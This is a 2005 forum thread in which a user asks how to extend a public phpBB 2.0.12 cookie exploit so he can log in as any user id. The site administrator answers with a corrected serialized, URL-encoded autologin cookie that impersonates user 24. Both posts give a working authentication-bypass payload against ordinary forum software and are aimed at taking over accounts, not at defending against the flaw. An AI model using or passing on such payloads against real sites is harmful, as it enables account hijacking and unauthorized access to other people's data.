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www.waraxe.us Forum Index -> PhpBB -> phpbb 2.0.12 cookies - question
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phpbb 2.0.12 cookies - question
PostPosted: Wed Aug 10, 2005 9:29 am Reply with quote
Sta1ker
Beginner
Beginner
 
Joined: Aug 10, 2005
Posts: 1




Hey,

I was just having fun with "cookie exploit" in phpbb 2.0.12 (http://www.milw0rm.com/id.php?id=871). This exploit works fine, but I cannot login as any user but only as users with userid's from 2 to 9. What do I have to switch in this cookie to login as any user? Encoded looks like this:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

Coded like this:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%
3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

If I switch
Quote:
%222%22%
to
Quote:
%224%22%
I will login as user with id '4'. But if I switch
Quote:
%222%22%
to
Quote:
%2224%22%
I wont login as user id 24... any ideas?
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PostPosted: Wed Aug 10, 2005 9:44 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If you urldecode this:

Code:

s%3A1%3A%222%22%3B%7D


then you will see, that string with length 1 char is defined:

Code:

s:1:"2";}


Now, if you want userID "24", then this will be 2 chars long, so you must use:

Code:

s:2:"24";}


and as urlencoded it will look like:

Code:

s%3A2%3A%2224%22%3B%7D


I hope that this will help you Smile
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phpbb 2.0.12 cookies - question
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